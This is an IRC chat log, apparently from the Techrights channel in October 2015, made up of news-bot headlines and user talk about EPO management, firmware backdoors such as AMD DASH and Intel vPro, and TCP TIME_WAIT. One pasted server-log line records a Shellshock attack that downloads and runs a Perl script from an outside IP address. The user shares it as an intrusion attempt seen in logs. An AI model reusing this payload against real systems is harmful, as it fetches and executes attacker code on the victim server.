| msb_ | cubexyz: The alternative, for people who want a 3 times faster, 8 core cpu, is to use an AMD FX-8350 and an ASUS 990FX R2.0 mobo in which secure boot can be turned off permanently. The cpu and mobo each cost $180. The DASH intrusion system in the cpu (or AMT intrusion system in an Intel cpu) is defeated by an external custom deep-packet-inspection router that deletes all DASH packets. The router can also send specific DASH packets to | Oct 06 16:06 |
| msb_ | tie up the DASH system. Hopefully the router can be a Raspberry Pi or the like. | Oct 06 16:06 |
| schestowitz | http://ipkitten.blogspot.co.uk/2015/10/epo-bids-to-save-litigating-employees.html | Oct 06 16:07 |
| -TechrightsBot-tr/#techrights-ipkitten.blogspot.co.uk | The IPKat: EPO bids to save litigating employees from union's human rights infractions [ http://ur1.ca/nxldc ] | Oct 06 16:08 | |
| schestowitz | " | Oct 06 16:08 |
| schestowitz | That is really topping up everything which came up to now. | Oct 06 16:08 |
| schestowitz | When a national court issues a decision which displeases the President, then it is to be ignored, as national law is not applicable to EPO. Now, national law is good and should be respected. | Oct 06 16:08 |
| schestowitz | Have those two VP no sense of shame, especially VP5 which is a legally qualified person (or merely thinks he is one)? | Oct 06 16:08 |
| schestowitz | More hypocrisy is difficult to overthrow. | Oct 06 16:08 |
| schestowitz | Poor EPO with such "leaders and managers". | Oct 06 16:08 |
| schestowitz | Mao said it a long time ago: the fish stinks from head.....How true | Oct 06 16:08 |
| schestowitz | " | Oct 06 16:08 |
| schestowitz | rots from the head | Oct 06 16:08 |
| schestowitz | "Any thoughts of guilt, any feelings of regret, has faded. BB has baked the VP’s out. " | Oct 06 16:08 |
| schestowitz | " | Oct 06 16:08 |
| schestowitz | Isn't it the EPO who locks up "suspects", sorry, the "guilty" for hours on end for "questioning", in a setting reminiscent of the opening scene of "Das Leben der Anderen", without any kind of assistance? And the same EPO that threatens them with unspeakable things should they either keep silent before their tormentors, or mention their ordeal to anyone? | Oct 06 16:08 |
| schestowitz | I can't see in this text anything but a lame attempt for the EPO to create a flimsy excuse to refuse to interact with any counsel the staff member may have retained. | Oct 06 16:08 |
| schestowitz | The paternalistic suggestion that a staff member get counseling with the EPO's very own legal department [?] that is responsible for the present mess, is astounding, but the situation is so far out that I ran out of rage and indignation. | Oct 06 16:08 |
| schestowitz | " | Oct 06 16:08 |
| schestowitz | https://twitter.com/Ellen_Timmer/status/651489417929064448 | Oct 06 16:10 |
| -TechrightsBot-tr/#techrights-@Ellen_Timmer: @schestowitz @meneer Moet je wel #NoScript e.d. aan zetten | Oct 06 16:11 | |
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| *TweetTuxMachines @lsinger favourited 'AMD Has More Developers Working On Their Open-Source...' | Oct 06 16:17 | |
| msb_ | schestowitz: What you are describing is a system designed by and for psychopaths. This is the norm for Western governments and corporations. Here's a video about it, called...I am Fishead! https://www.youtube.com/watch?v=bcRRZsag0Io | Oct 06 16:18 |
| -TechrightsBot-tr/#techrights-www.youtube.com | I Am Fishead Are Corporate Leaders Egotistical Psychopaths ) - YouTube [ http://ur1.ca/nxlhq ] | Oct 06 16:18 | |
| msb_ | schestowitz: Full-blown psychopaths are not human, not people. Their hardware is human, but their software is anti-human, predatory. It may help to think of them as insectoids. Rage and indignation have no effect on them (except maybe to afford them some enjoyment at the suffering of their victim). Those emotions were evolved to have an effect on people that have harmed us. Psychopaths are not people. Getting angry at them is | Oct 06 16:30 |
| msb_ | counterproductive. Instead, just focus your effort on defeating them. You wouldn't get angry at a shark chasing you, or a boulder rolling down a mountain toward you, right? Because these things aren't human. | Oct 06 16:30 |
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| TweetTuxMachines | @tuxmachines IBM releases Power-based Linux servers with | Oct 06 16:41 |
| TweetTuxMachines | Nvidia GPUs http://t.co/MydG1qiwjD | Oct 06 16:41 |
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| -TechrightsBot-tr/#techrights-www.theinquirer.net | IBM releases Power-based Linux servers with Nvidia GPUs- The Inquirer | Oct 06 16:41 | |
| TweetTuxMachines | @tuxmachines What Are Linux Meta-packages? | Oct 06 16:42 |
| TweetTuxMachines | http://t.co/30nx7D2Ejg (freedompenguin.com) | Oct 06 16:42 |
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| -TechrightsBot-tr/#techrights-freedompenguin.com | What Are Linux Meta-packages? - Freedom Penguin | Oct 06 16:42 | |
| TweetTuxMachines | @tuxmachines Displaylink adds Linux support for USB monitors | Oct 06 16:42 |
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| TweetTuxMachines | @tuxmachines Android 6.0 Marshmallow Review: Google | Oct 06 16:44 |
| TweetTuxMachines | Outsmarts Apple By Guessing Your Next Move | Oct 06 16:45 |
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| -TechrightsBot-tr/#techrights-www.wsj.com | Android 6.0 Marshmallow Review: Google Outsmarts Apple By Guessing Your Next Move - WSJ | Oct 06 16:45 | |
| TweetTuxMachines | @tuxmachines Slackel Linux: Not Your Father's Slackware | Oct 06 16:45 |
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| -TechrightsBot-tr/#techrights-www.linuxinsider.com | Slackel Linux: Not Your Father's Slackware | Reviews | LinuxInsider | Oct 06 16:45 | |
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| TweetTuxMachines | Nvidia GPUs http://t.co/w1v1OgnMz6 | Oct 06 16:45 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | IBM releases Power-based Linux servers with Nvidia GPUs | Tux Machines | Oct 06 16:45 | |
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| TweetTuxMachines | @tuxmachines Android 6.0 Marshmallow Review: Google | Oct 06 16:45 |
| TweetTuxMachines | Outsmarts Apple By Guessing Your Next Move | Oct 06 16:45 |
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| msb_ | RT Excellent show Watching the Hawks. BP fined $20billion for totally negligent Deepwater Horizon spill. But the DOJ is allowing BP to write off $15billion of it on their taxes!!! | Oct 06 18:05 |
| MinceR | bailout? :> | Oct 06 18:11 |
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| msb_ | It shows who controls the US govt -- the ultra-wealthy and their corporations. During the spill the govt environment agency insisted there was no oil on the ocean floor. But movies taken from a mini-sub showed the bottom was covered with a thick layer of oil plus extremely toxic dispersant, shown on US TV. The bottom is where shrimp and some fish spend half their lives, and shrimp are showing up with no eyes and horrible tumors. The | Oct 06 18:31 |
| msb_ | people of the Gulf are still suffering, but BP is bailed out by the US govt. | Oct 06 18:31 |
| msb_ | This is _not_ democracy. | Oct 06 18:32 |
| MinceR | on some level, it indeed isn't. and it's up to you the people to fix that. | Oct 06 18:34 |
| MinceR | via election reform, campaign finance reform, etc. | Oct 06 18:34 |
| msb_ | Bernie Sanders for President, and Larry Lessig for Vice President! | Oct 06 18:39 |
| MinceR | the other way around | Oct 06 18:40 |
| cubexyz | stallman is putting the smack-down on spotify | Oct 06 18:40 |
| MinceR | Larry will step down once he's done anyway | Oct 06 18:40 |
| cubexyz | naturally spotify has DRM and snooping | Oct 06 18:40 |
| MinceR | he needs to put the smackdown on cancerd | Oct 06 18:41 |
| cubexyz | "out, out damned spotify" :) | Oct 06 18:41 |
| MinceR | :) | Oct 06 18:42 |
| cubexyz | well, that's why I keep talking about BSD | Oct 06 18:42 |
| cubexyz | no perfect solution | Oct 06 18:42 |
| msb_ | cubexyz: What is port lingering and why is it bad? | Oct 06 18:42 |
| msb_ | Is it like port loitering near a schoolyard dressed only in a raincoat? | Oct 06 18:44 |
| cubexyz | just a sec... | Oct 06 18:45 |
| cubexyz | ok | Oct 06 18:45 |
| cubexyz | There are fears that Microsoft uses the "TIM_WAIT" state after a disconnect | Oct 06 18:46 |
| cubexyz | one needs to read up on gethostbyname and windows sockets | Oct 06 18:46 |
| cubexyz | not sure what software uses it | Oct 06 18:47 |
| cubexyz | so NSA could use it as a way in on Linux, not just Windows | Oct 06 18:47 |
| msb_ | So it's not a problem for Linux? | Oct 06 18:47 |
| cubexyz | not really sure to tell you the truth | Oct 06 18:48 |
| cubexyz | it's possible that gethostbyname uses windows sockets, I'm not sure yet | Oct 06 18:48 |
| MinceR | i thought unix did TIME_WAIT too | Oct 06 18:50 |
| MinceR | http://superuser.com/questions/173535/what-are-close-wait-and-time-wait-states | Oct 06 18:50 |
| -TechrightsBot-tr/#techrights-superuser.com | windows - What are CLOSE_WAIT and TIME_WAIT states? - Super User [ http://ur1.ca/nxn7h ] | Oct 06 18:50 | |
| cubexyz | yeah, this guy who wrote this could be a bit paranoid | Oct 06 18:52 |
| cubexyz | but he seems knowledgeable | Oct 06 18:52 |
| cubexyz | he's saying that every tcp/ip port is lingering in TIM_WAIT state after disconnecting | Oct 06 18:53 |
| MinceR | afaik there are good reasons for it, but iirc it can indeed be troublesome if one's developing network applications | Oct 06 18:53 |
| MinceR | (you want to restart your server on the same port, but that port's still blocked for the sake of the previous connection) | Oct 06 18:53 |
| msb_ | Never reboot! | Oct 06 18:54 |
| MinceR | lol | Oct 06 18:54 |
| MinceR | i meant the server program | Oct 06 18:54 |
| cubexyz | if you do a "netstat -a" it will probably show a bunch of ports in the TIME_WAIT state | Oct 06 18:54 |
| cubexyz | looks like https stuff mostly | Oct 06 18:55 |
| MinceR | http://developerweb.net/viewtopic.php?id=2941 | Oct 06 18:55 |
| -TechrightsBot-tr/#techrights-developerweb.net | 2.7 - Please explain the TIME_WAIT state (Page 1) / UNIX Socket FAQ / UNIX Socket FAQ [ http://ur1.ca/nxn9b ] | Oct 06 18:55 | |
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| cubexyz | it's still a good idea to check your ports though | Oct 06 18:57 |
| msb_ | Yikes! I have 417 connections! | Oct 06 18:57 |
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| msb_ | 72 of them involving X11. What is X doing connected to the network? | Oct 06 19:00 |
| msb_ | Are there 72 NSA guys looking at my screen? | Oct 06 19:01 |
| msb_ | I should demand a salary for educating them! | Oct 06 19:02 |
| MinceR | via tcp or via unix domain sockets? | Oct 06 19:03 |
| cubexyz | do you use X11 forwarding? | Oct 06 19:03 |
| msb_ | Unix, and no. | Oct 06 19:04 |
| MinceR | that | Oct 06 19:04 |
| MinceR | that's normal | Oct 06 19:04 |
| MinceR | those are local connections | Oct 06 19:04 |
| MinceR | x was designed to work over the network from the beginning, so local x clients normally connect via unix domain sockets | Oct 06 19:04 |
| cubexyz | try netstat --protocol=inet | Oct 06 19:05 |
| msb_ | Thanks! | Oct 06 19:05 |
| msb_ | Only 7 of those. | Oct 06 19:06 |
| msb_ | cubexyz: So in my 8-core fast computer solution, is the only thing I have to worry about secret backdoors in the BIOS? | Oct 06 19:09 |
| cubexyz | well I wouldn't say it's the only thing | Oct 06 19:09 |
| msb_ | What else? | Oct 06 19:09 |
| cubexyz | router hacks | Oct 06 19:09 |
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| msb_ | It would be a router that I wrote, and talk to via a serial line. | Oct 06 19:10 |
| cubexyz | which router is that? | Oct 06 19:11 |
| msb_ | One running on a RPi or similar SBC. | Oct 06 19:11 |
| cubexyz | well, that sounds better than what most people use | Oct 06 19:12 |
| msb_ | It would treat incoming and outgoing packets only as data, not commands. | Oct 06 19:12 |
| msb_ | Hopefully the command packet protocol for DASH is available from AMD, since corporations use it. Not a govt secret. | Oct 06 19:13 |
| cubexyz | it's just possibility of an attack vector | Oct 06 19:14 |
| cubexyz | not likely, but possible | Oct 06 19:15 |
| msb_ | Seems like a very high probability the govt could use it to attack. | Oct 06 19:15 |
| msb_ | Why not likely? | Oct 06 19:15 |
| msb_ | Total control. Just what the govt wants. | Oct 06 19:15 |
| cubexyz | monitoring yes, attacks probably not | Oct 06 19:16 |
| MinceR | can't you disable DASH from bios/uefi? | Oct 06 19:16 |
| msb_ | They could flash my screen in Alpha and make me crave fresh brains! | Oct 06 19:16 |
| TweetTuxMachines | @tuxmachines Displaylink adds Linux support for USB monitors | Oct 06 19:17 |
| TweetTuxMachines | http://t.co/KgHMenS5S4 (www.tuxmachines.org) | Oct 06 19:17 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Displaylink adds Linux support for USB monitors | Tux Machines | Oct 06 19:17 | |
| TweetTuxMachines | @tuxmachines Five million Raspberry Pi’s is a Sony UK | Oct 06 19:17 |
| TweetTuxMachines | success story http://t.co/ilzaz05CB2 | Oct 06 19:17 |
| TweetTuxMachines | (www.electronicsweekly.com) | Oct 06 19:17 |
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| -TechrightsBot-tr/#techrights-www.electronicsweekly.com | Five million Raspberry Pi's is a Sony UK success story | Electronics Weekly | Oct 06 19:17 | |
| TweetTuxMachines | @tuxmachines The ZFS File System Will Be Included in Ubuntu, | Oct 06 19:17 |
| TweetTuxMachines | Says Mark Shuttleworth http://t.co/Fdpmtt5dxe | Oct 06 19:17 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 19:17 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | The ZFS File System Will Be Included in Ubuntu, Says Mark Shuttleworth | Tux Machines | Oct 06 19:17 | |
| cubexyz | that's just it, without the BIOS/UEFI source code, you don't really know if you can turn it off | Oct 06 19:18 |
| cubexyz | it's not really the NSA I fear here, but the black hat hackers | Oct 06 19:18 |
| cubexyz | people who vandalize computers online for no good reason | Oct 06 19:19 |
| msb_ | The ASUS 990FX mobo manual doesn't mention DASH. | Oct 06 19:20 |
| cubexyz | not all motherboards have it | Oct 06 19:21 |
| msb_ | Does DASH need to be turned on by the mobo in order to work? Or is it turned on by default, waiting for a command packet, ready to loot and maim. And take revenge, Morbius, and kill! | Oct 06 19:26 |
| cubexyz | the motherboard vendor should tell you if DASH is supported | Oct 06 19:26 |
| cubexyz | it's even considered a selling feature for some | Oct 06 19:26 |
| MinceR | murder death kill! | Oct 06 19:26 |
| cubexyz | you can imagine all the replies I got when I asked the major vendors for BIOS source code :) | Oct 06 19:27 |
| msb_ | Forbidden Planet, still perhaps the greatest sci-fi movie ever made! | Oct 06 19:27 |
| msb_ | Er, zero? Maybe -1? | Oct 06 19:28 |
| cubexyz | yeah no replies | Oct 06 19:28 |
| tessier | schestowitz: https://www.youtube.com/watch?v=OeHjN4oWVfk I was never into gaming but apparently MS screwed over gamers plenty. | Oct 06 19:29 |
| -TechrightsBot-tr/#techrights-www.youtube.com | Microsoft Sucks - YouTube [ http://ur1.ca/nxnp9 ] | Oct 06 19:29 | |
| cubexyz | once you see stuff like TPM 1.2 controller onboard... | Oct 06 19:31 |
| XFaCE | cubexyz: DASH? | Oct 06 19:36 |
| cubexyz | https://en.wikipedia.org/wiki/Desktop_and_mobile_Architecture_for_System_Hardware | Oct 06 19:37 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Desktop and mobile Architecture for System Hardware - Wikipedia, the free encyclopedia [ http://ur1.ca/nxntc ] | Oct 06 19:37 | |
| msb_ | MS screws everybody over. Why should gamers be any different? | Oct 06 19:42 |
| cubexyz | chromebook's got TPM as well | Oct 06 19:44 |
| cubexyz | but with chromebook you can switch to developer mode, so there's no problem changing the firmware | Oct 06 19:45 |
| msb_ | https://en.wikipedia.org/wiki/Trusted_Platform_Module#Criticism | Oct 06 19:48 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Trusted Platform Module - Wikipedia, the free encyclopedia [ http://ur1.ca/nxnz9 ] | Oct 06 19:48 | |
| msb_ | Is there a list of all these dirty intrusion methods? Is it finite? At least countably infinite? | Oct 06 19:50 |
| cubexyz | know your OS, know your firmware | Oct 06 20:09 |
| cubexyz | there's only so many ways in | Oct 06 20:09 |
| msb_ | Yeah, about 40 million, unless you read, understand and check every instruction in the firmware. And the CPU and its internal microprocessor and its firmware. | Oct 06 20:50 |
| msb_ | There are hundreds of engineers involved in designing those things. How long will it take for a single person to check them all out? | Oct 06 20:51 |
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| cubexyz | it's not as bad as you might think | Oct 06 21:03 |
| cubexyz | some of my motherboards have 512K or even 256K firmware | Oct 06 21:03 |
| cubexyz | plus with coreboot you know what's in there | Oct 06 21:03 |
| cubexyz | I'm always checking things | Oct 06 21:06 |
| cubexyz | things like this: | Oct 06 21:07 |
| cubexyz | GET /linuxnotes.txt HTTP/1.1" 200 135303 "-" "#28#29 { :;}; /bin/bash -c \"curl -O http://194.1.195.191/b00t.pl -o /tmp/b00t.pl; lwp-download -a http://194.1.195.191/b00t.pl /tmp/b00t.pl;wget http://194.1.195.191/b00t.pl -O /tmp/b00t.pl;perl /tmp/b00t.pl;rm -f /tmp/b00t.pl*;mkdir /tmp/b00t.pl\" | Oct 06 21:07 |
| cubexyz | Ukrainian IP address :) | Oct 06 21:07 |
| MinceR | cute | Oct 06 21:08 |
| TweetTuxMachines | @tuxmachines Git 2.6.1 Open-Source Distributed Version | Oct 06 21:10 |
| TweetTuxMachines | Control System Adds Xdiff Changes | Oct 06 21:10 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Git 2.6.1 Open-Source Distributed Version Control System Adds Xdiff Changes | Tux Machines | Oct 06 21:10 | |
| cubexyz | yes, rule #1, check the logs :) | Oct 06 21:14 |
| MinceR | i thought rule #1 was do not talk about fight club | Oct 06 21:15 |
| cubexyz | this is hack club, not fight club :) | Oct 06 21:17 |
| MinceR | :) | Oct 06 21:18 |
| cubexyz | I mean who really wants Vpro which could be hacked even if your computer is off? | Oct 06 21:20 |
| cubexyz | evidently a Vpro processor has this 2nd processor with it's own operating system | Oct 06 21:22 |
| cubexyz | I ask vendors which motherboards ship with coreboot, I never get an answer | Oct 06 21:35 |
| msb_ | Call them on the phone. Corps never answer emails. | Oct 06 21:42 |
| msb_ | When they say they don't know, ask for a supervisor. Preferably not one working for a bowl of rice a day in India. | Oct 06 21:44 |
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| msb_ | test | Oct 07 00:13 |
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| schestowitz | https://twitter.com/profBhttps://twitter.com/profBury/status/651534438669647873ury/status/651534438669647873 | Oct 07 02:59 |
| -TechrightsBot-tr/#techrights-@profBury: Link http://t.co/17dVEzFtWU by @schestowitz is the most popular tweet in my news feed today. | Oct 07 02:59 | |
| -TechrightsBot-tr/#techrights--> linkis.com | Leaked memos reveal GCHQ efforts to keep mass surveillance secret | UK news | The Guardian - Linkis.com | Oct 07 02:59 | |
| schestowitz | tessier: thanks, posted | Oct 07 03:03 |
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| TweetTuxMachines | @tuxmachines Top 5 best Android multiplayer games in 2015 | Oct 07 03:35 |
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| -TechrightsBot-tr/#techrights-www.geeksnack.com | Top 5 best Android multiplayer games in 2015 - GeekSnack | Oct 07 03:35 | |
| TweetTuxMachines | @tuxmachines The 2015 Linux Foundation Technical Advisory | Oct 07 03:35 |
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| TweetTuxMachines | @hschneider66 A piece of #RaspberryPi daily: | Oct 07 04:18 |
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| -TechrightsBot-tr/#techrights-paper.li | A piece of Raspberry Pi daily | Oct 07 04:18 | |
| TweetTuxMachines | @tuxmachines The ZFS File System Will Be Included in Ubuntu, | Oct 07 04:18 |
| TweetTuxMachines | Says Mark Shuttleworth http://t.co/S0OITF8Vyh | Oct 07 04:18 |
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| TweetTuxMachines | @tuxmachines Ubuntu-Based Black Lab Linux 7 Operating System | Oct 07 04:18 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu-Based Black Lab Linux 7 Operating System Gets an RC Build with Firefox 41 | Tux Machines | Oct 07 04:18 | |
| TweetTuxMachines | @tuxmachines Android-x86 Now Based on Android 5.1.1 | Oct 07 04:18 |
| TweetTuxMachines | Lollipop, Supports UEFI PCs and 64-Bit Kernels | Oct 07 04:18 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Android-x86 Now Based on Android 5.1.1 Lollipop, Supports UEFI PCs and 64-Bit Kernels | Tux Machines | Oct 07 04:18 | |
| TweetTuxMachines | @tuxmachines Why the software world needs a 'no-fly zone' | Oct 07 04:18 |
| TweetTuxMachines | for patents http://t.co/5YmDR5ECF9 | Oct 07 04:18 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Why the software world needs a 'no-fly zone' for patents | Tux Machines | Oct 07 04:18 | |
| schestowitz | "third party" http://news.softpedia.com/news/microsoft-office-in-windows-against-third-party-alternatives-492990.shtml | Oct 07 04:39 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Microsoft Office in Windows against Third-Party Alternatives - Softpedia [ http://ur1.ca/nxuhl ] | Oct 07 04:39 | |
| schestowitz | https://twitter.com/Messgorough/status/651689482727653376 | Oct 07 05:27 |
| -TechrightsBot-tr/#techrights-@Messgorough: @schestowitz At last! Google plays reign of terror needs to end. | Oct 07 05:27 | |
| TweetTuxMachines | @tuxmachines Univention Corporate Server 4.1 to Implement | Oct 07 05:31 |
| TweetTuxMachines | Docker Apps, Linux Kernel 4.1 LTS | Oct 07 05:31 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Univention Corporate Server 4.1 to Implement Docker Apps, Linux Kernel 4.1 LTS | Tux Machines | Oct 07 05:31 | |
| TweetTuxMachines | @tuxmachines Proxmox VE 4.0 Has Linux Containers Support, | Oct 07 05:31 |
| TweetTuxMachines | Based on Debian 8.2 Jessie - Video | Oct 07 05:31 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Proxmox VE 4.0 Has Linux Containers Support, Based on Debian 8.2 Jessie - Video | Tux Machines | Oct 07 05:31 | |
| TweetTuxMachines | @tuxmachines Lessons From Volkswagen http://t.co/NBmYvNO5zh | Oct 07 05:32 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Lessons From Volkswagen | Tux Machines | Oct 07 05:32 | |
| TweetTuxMachines | @tuxmachines Mozilla Boosts Leadership Team With Connected | Oct 07 05:32 |
| TweetTuxMachines | Devices Appointment http://t.co/vsu4MDyCVn | Oct 07 05:32 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Mozilla Boosts Leadership Team With Connected Devices Appointment | Tux Machines | Oct 07 05:32 | |
| TweetTuxMachines | @tuxmachines NethServer 6.7 Server-Oriented Linux Distro Is | Oct 07 05:33 |
| TweetTuxMachines | Coming Soon, Based on CentOS 6.7 | Oct 07 05:33 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | NethServer 6.7 Server-Oriented Linux Distro Is Coming Soon, Based on CentOS 6.7 | Tux Machines | Oct 07 05:33 | |
| TweetTuxMachines | @tuxmachines Continuum for Windows 10 Is Phone Convergence, | Oct 07 05:33 |
| TweetTuxMachines | but Not as Advanced as Ubuntu's | Oct 07 05:33 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Continuum for Windows 10 Is Phone Convergence, but Not as Advanced as Ubuntu's | Tux Machines | Oct 07 05:33 | |
| TweetTuxMachines | @tuxmachines Xen now available in CentOS 7 for ARM64 servers | Oct 07 05:39 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Xen now available in CentOS 7 for ARM64 servers | Tux Machines | Oct 07 05:39 | |
| TweetTuxMachines | @tuxmachines Roku’s 4th gen media player does 4K, gets | Oct 07 05:39 |
| TweetTuxMachines | larger, costs more http://t.co/nXBmm3z3lG | Oct 07 05:39 |
| TweetTuxMachines | (linuxgizmos.com) | Oct 07 05:39 |
| -TechrightsBot-tr/#techrights-linuxgizmos.com | Roku's 4th gen media player does 4K, gets larger, costs more · LinuxGizmos.com | Oct 07 05:39 | |
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| TweetTuxMachines | @tuxmachines Ubuntu-Based Black Lab Linux 7 Operating System | Oct 07 05:39 |
| TweetTuxMachines | Gets an RC Build with Firefox 41 | Oct 07 05:39 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu-Based Black Lab Linux 7 Operating System Gets an RC Build with Firefox 41 - Softpedia | Oct 07 05:39 | |
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| TweetTuxMachines | @tuxmachines Ubuntu-Based Escuelas Linux 4.1 Drops | Oct 07 05:46 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu-Based Escuelas Linux 4.1 Drops Enlightenment for the Moksha Desktop - Softpedia | Oct 07 05:46 | |
| TweetTuxMachines | @tuxmachines Ubuntu Snappy Core 15.04 Now Features Basic | Oct 07 05:46 |
| TweetTuxMachines | Support for UEFI Firmware Updates | Oct 07 05:46 |
| TweetTuxMachines | http://t.co/mmIFf3Mia7 (linux.softpedia.com) | Oct 07 05:46 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Snappy Core 15.04 Now Features Basic Support for UEFI Firmware Updates - Softpedia | Oct 07 05:46 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Gets Ready for Release, Many | Oct 07 05:46 |
| TweetTuxMachines | Memory Leaks Were Plugged | Oct 07 05:46 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu Touch OTA-7 Gets Ready for Release, Many Memory Leaks Were Plugged - Softpedia | Oct 07 05:46 | |
| TweetTuxMachines | @tuxmachines NethServer 6.7 Server-Oriented Linux Distro Is | Oct 07 05:52 |
| TweetTuxMachines | Coming Soon, Based on CentOS 6.7 | Oct 07 05:52 |
| TweetTuxMachines | http://t.co/M9nMWgu0y6 (news.softpedia.com) | Oct 07 05:52 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | NethServer 6.7 Server-Oriented Linux Distro Is Coming Soon, Based on CentOS 6.7 - Softpedia | Oct 07 05:52 | |
| TweetTuxMachines | @tuxmachines Continuum for Windows 10 Is Phone Convergence, | Oct 07 05:52 |
| TweetTuxMachines | but Not as Advanced as Ubuntu's | Oct 07 05:52 |
| TweetTuxMachines | http://t.co/jp7IM0RpoZ (news.softpedia.com) | Oct 07 05:52 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Continuum for Windows 10 Is Phone Convergence, but Not as Advanced as Ubuntu's - Softpedia | Oct 07 05:52 | |
| TweetTuxMachines | @tuxmachines Xen now available in CentOS 7 for ARM64 servers | Oct 07 05:52 |
| TweetTuxMachines | https://t.co/8m25YjUmY5 (blog.xenproject.org) | Oct 07 05:52 |
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| -TechrightsBot-tr/#techrights-blog.xenproject.org | Xen now available in CentOS 7 for ARM64 servers | Xen Project Blog | Oct 07 05:52 | |
| TweetTuxMachines | @tuxmachines Android-x86 Now Based on Android 5.1.1 | Oct 07 05:53 |
| TweetTuxMachines | Lollipop, Supports UEFI PCs and 64-Bit Kernels | Oct 07 05:53 |
| TweetTuxMachines | http://t.co/I6s2cj8Z4X (news.softpedia.com) | Oct 07 05:53 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Android-x86 Now Based on Android 5.1.1 Lollipop, Supports UEFI PCs and 64-Bit Kernels - Softpedia | Oct 07 05:53 | |
| TweetTuxMachines | @tuxmachines Univention Corporate Server 4.1 to Implement | Oct 07 05:56 |
| TweetTuxMachines | Docker Apps, Linux Kernel 4.1 LTS | Oct 07 05:56 |
| TweetTuxMachines | http://t.co/BArtvCOiQO (news.softpedia.com) | Oct 07 05:56 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Univention Corporate Server 4.1 to Implement Docker Apps, Linux Kernel 4.1 LTS - Softpedia | Oct 07 05:56 | |
| TweetTuxMachines | @tuxmachines Proxmox VE 4.0 Has Linux Containers Support, | Oct 07 05:56 |
| TweetTuxMachines | Based on Debian 8.2 Jessie - Video | Oct 07 05:56 |
| TweetTuxMachines | http://t.co/rHMA5Ood0X (news.softpedia.com) | Oct 07 05:56 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Proxmox VE 4.0 Has Linux Containers Support, Based on Debian 8.2 Jessie - Video - Softpedia | Oct 07 05:56 | |
| schestowitz | https://joindiaspora.com/posts/6654471 | Oct 07 06:16 |
| -TechrightsBot-tr/#techrights-@linux@joindiaspora.com: OpenShot 2.0 Video Editor to Be Released Soon for Linux, Mac OS X, and Windows 10 http://news.softpedia.com/news/openshot-2-0-video-editor-to-be-released-soon-for-linux-mac-os-x-and-windows-10-493259.shtml | Oct 07 06:16 | |
| -TechrightsBot-tr/#techrights--> news.softpedia.com | OpenShot 2.0 Video Editor to Be Released Soon for Linux, Mac OS X, and Windows 10 - Softpedia [ http://ur1.ca/nw8sk ] | Oct 07 06:16 | |
| schestowitz | https://joindiaspora.com/posts/6654471 | Oct 07 06:17 |
| schestowitz | "lumiera looked like a promising beginning, but I don’t recall the ever doing even an alpha release." | Oct 07 06:17 |
| schestowitz | > lots of M$ hardware spam at most sites; no links here | Oct 07 06:37 |
| schestowitz | Yes, I don't expect to be writing about it. Would only help them... | Oct 07 06:37 |
| schestowitz | https://twitter.com/reggaecrisp1/status/651707224394452992 | Oct 07 06:44 |
| -TechrightsBot-tr/#techrights-@reggaecrisp1: A scandalous document, created by crooks, approved by crooks and policed by crooks. What could possibly go wrong. https://t.co/ydZleVij9d | Oct 07 06:44 | |
| -TechrightsBot-tr/#techrights-@schestowitz: #TPP Negotiations Conclude: What Next for the Trade Deal Without a Public Text? http://t.co/vJ3AG3D0wh collusion against the public | Oct 07 06:44 | |
| schestowitz | > dead link: | Oct 07 06:46 |
| schestowitz | > | Oct 07 06:46 |
| schestowitz | > http://www.computerworld.com/softwaretopics/os/story/0,10801,83708,00.html | Oct 07 06:47 |
| -TechrightsBot-tr/#techrights- ( status 404 @ http://www.computerworld.com/softwaretopics/os/story/0,10801,83708,00.html ) | Oct 07 06:47 | |
| schestowitz | What was it about? Was it spiked? | Oct 07 06:47 |
| schestowitz | In the news... | Oct 07 07:13 |
| schestowitz | This may be of interest to the company | Oct 07 07:13 |
| schestowitz | FU: http://www.computing.co.uk/ctg/interview/2426120/the-power-of-open-source-from-postgres-to-cassandra-at-first-utility | Oct 07 07:13 |
| schestowitz | Competitor: http://www.cbronline.com/news/enterprise-it/software/an-essential-guide-to-using-open-source-monitoring-tools-4672669 | Oct 07 07:13 |
| -TechrightsBot-tr/#techrights-www.computing.co.uk | The power of open source: From Postgres to Cassandra at First Utility - 16 Sep 2015 - Computing Interview [ http://ur1.ca/nxvlq ] | Oct 07 07:13 | |
| -TechrightsBot-tr/#techrights-www.cbronline.com | An essential guide to using Open Source monitoring tools - Computer Business Review [ http://ur1.ca/nxvlr ] | Oct 07 07:13 | |
| schestowitz | > http://mrpogson.com/2015/10/05/sarah-sharp-im-not-a-linux-kernel-developer-any-more/ | Oct 07 07:18 |
| -TechrightsBot-tr/#techrights-mrpogson.com | Sarah Sharp: “I’m not a Linux kernel developer any more” | Robert Pogson [ http://ur1.ca/nxvmw ] | Oct 07 07:18 | |
| schestowitz | > | Oct 07 07:18 |
| schestowitz | > he's just feeding the troll | Oct 07 07:18 |
| schestowitz | Not just him.... | Oct 07 07:18 |
